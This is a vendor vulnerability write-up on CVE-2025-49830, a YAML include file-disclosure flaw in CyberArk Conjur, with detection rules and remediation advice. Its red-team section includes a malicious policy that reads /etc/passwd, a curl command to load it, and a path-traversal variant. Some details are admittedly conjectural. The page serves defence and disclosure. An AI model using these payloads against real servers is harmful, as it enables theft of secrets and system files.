CVE-2025-49830
Executive Summary
CVE-2025-49830 is a file inclusion vulnerability in CyberArk Conjur (Secrets Manager, Self-Hosted) and Conjur OSS. An authenticated attacker with the ability to load policy can abuse the YAML parser to reference arbitrary files on the server filesystem. This can be used for reconnaissance (e.g., enumerating directory structures) or to include file contents into the policy processing stream, potentially leaking sensitive information. The vulnerability affects versions prior to Conjur OSS 1.22.1 and Secrets Manager Self-Hosted 13.5.1 / 13.6.1. No public exploit code or proof-of-concept is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects the CyberArk Conjur server application, which is typically deployed as a container or appliance. The supply chain risk is limited to the Conjur software itself, not its dependencies.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (Base Score: 6.5 - Medium)
- Attack Vector (AV): Network (N) - The attacker can exploit this remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - The attacker must be authenticated and have policy loading privileges.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): High (H) - The attacker can read arbitrary files on the server.
- Integrity (I): None (N) - The attacker cannot modify data.
- Availability (A): None (N) - The attacker cannot disrupt service.
Threat Level: Medium. The vulnerability requires authentication and specific privileges, but it can lead to significant information disclosure.
Deep Dive & Mechanics
The vulnerability lies in the YAML policy parser used by Conjur. When an authenticated user loads a policy (YAML file), the parser processes the file. The parser has a feature that allows referencing external files using a special syntax (e.g., !include or similar). An attacker can craft a malicious policy that includes references to arbitrary files on the server's filesystem, such as /etc/passwd, configuration files, or other secrets.
The parser does not properly sanitize or restrict the file paths that can be referenced. This allows an attacker to:
- Reconnaissance: Determine the existence of files and directory structure by observing error messages or behavior.
- Information Disclosure: Include the contents of sensitive files into the policy processing output, which may be logged, returned in API responses, or otherwise exposed.
The vulnerability is similar to a Local File Inclusion (LFI) but through the YAML parser's include mechanism.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable parser likely uses a function like YAML.load() or a custom loader that processes !include directives without path validation.
# Vulnerable pseudo-code
def load_policy(yaml_content):
# This function processes !include directives
# It does not validate the path
return yaml.load(yaml_content, Loader=InsecureLoader)
Patched Code (Conceptual):
The patched version adds path validation, restricting includes to a specific allowed directory (e.g., the policy directory) and rejecting absolute paths or paths with ...
# Patched pseudo-code
import os
ALLOWED_POLICY_DIR = "/var/conjur/policies"
def load_policy(yaml_content):
# This function processes !include directives
# It validates the path
def safe_include(loader, node):
path = loader.construct_scalar(node)
# Resolve the path relative to the allowed directory
full_path = os.path.normpath(os.path.join(ALLOWED_POLICY_DIR, path))
if not full_path.startswith(ALLOWED_POLICY_DIR):
raise ValueError("Invalid include path")
with open(full_path, 'r') as f:
return f.read()
# Register the safe include constructor
yaml.add_constructor('!include', safe_include, Loader=SafeLoader)
return yaml.load(yaml_content, Loader=SafeLoader)
Exploitation & Lab Setup
Red Team
Prerequisites:
- Authenticated access to Conjur with permission to load policy.
- Knowledge of the Conjur API endpoint for policy loading.
Exploitation Steps:
- Craft a malicious policy YAML file. The exact syntax depends on the Conjur version, but it likely uses a
!includedirective.
# malicious_policy.yml
- !policy
id: test
body:
- !include /etc/passwd
- Load the policy using the Conjur API.
# Using curl to load the policy
curl -k -X POST \
-H "Authorization: Token token=\"$(conjur authn authenticate -H)\"" \
-H "Content-Type: application/x-yaml" \
--data-binary @malicious_policy.yml \
"https://conjur-server.example.com/policies/myorg/policy/root"
- Observe the output. The contents of
/etc/passwdmay be returned in the API response, logged, or cause an error that reveals the file content.
Alternative: Use a relative path to enumerate directories.
- !include ../../etc/passwd
Blue Team
Detection:
- Monitor for policy loading events that contain suspicious
!includedirectives with absolute paths or..sequences. - Alert on any policy that references files outside of the expected policy directory (e.g.,
/var/conjur/policies). - Use file integrity monitoring (FIM) on the Conjur server to detect unauthorized reads of sensitive files.
Hunting:
- Search Conjur audit logs for policy load events with unusual file paths.
- Look for error messages that include file content (e.g., "Error loading policy: /etc/passwd: ...").
Lab Setup:
- Deploy a vulnerable Conjur OSS instance (version < 1.22.1) in a sandbox environment.
- Create a test user with policy loading privileges.
- Attempt to load a malicious policy as described above.
- Verify that the file content is disclosed.
Indicators of Compromise (IOCs)
- File Paths: References to
/etc/passwd,/etc/shadow,/proc/self/environ,/var/conjur/configuration files, or any file outside the expected policy directory in Conjur audit logs. - API Requests: POST requests to
/policies/{org}/policy/{branch}with YAML content containing!includedirectives. - Log Entries: Conjur audit logs showing policy load events with unusual file paths.
- Error Messages: Errors containing file content, such as "Error loading policy: root:x:0:0:root:/root:/bin/bash".
Detection Engineering
YARA Rule
rule CVE_2025_49830_Conjur_File_Inclusion {
meta:
description = "Detects malicious policy YAML files attempting to include arbitrary files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49830"
severity = "high"
strings:
$include = /!include\s+\//
$include_dotdot = /!include\s+\.\./
$include_etc = /!include\s+\/etc\//
$include_proc = /!include\s+\/proc\//
condition:
any of them
}
Sigma Rule
title: CVE-2025-49830 - Conjur Policy File Inclusion Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to load a Conjur policy with file inclusion directives targeting arbitrary files.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-49830
logsource:
product: conjur
service: audit
detection:
selection:
EventID: "policy.load"
PolicyContent|contains:
- "!include /"
- "!include ../"
condition: selection
falsepositives:
- Legitimate use of !include for policy files within the allowed directory
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-49830 - Conjur Policy File Inclusion Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/policies/"; http_uri;
content:"!include"; http_client_body;
pcre:"/!include\s+\//";
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2025-49830;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to the patched versions:
- Conjur OSS: version 1.22.1 or later.
- Secrets Manager, Self-Hosted: version 13.5.1 or 13.6.1 or later.
- If upgrading is not immediately possible, restrict policy loading privileges to only trusted administrators.
- Monitor Conjur audit logs for suspicious policy load events.
Long-Term Mitigations:
- Implement network segmentation to limit access to the Conjur API.
- Use a Web Application Firewall (WAF) to inspect API requests for malicious YAML content.
- Regularly review and audit policy files.
- Apply the principle of least privilege for all Conjur users.
Workaround:
- If patching is delayed, consider disabling the
!includedirective in the YAML parser configuration (if possible) or implementing a custom policy validation script that rejects any policy containing file inclusion directives.
Valters IT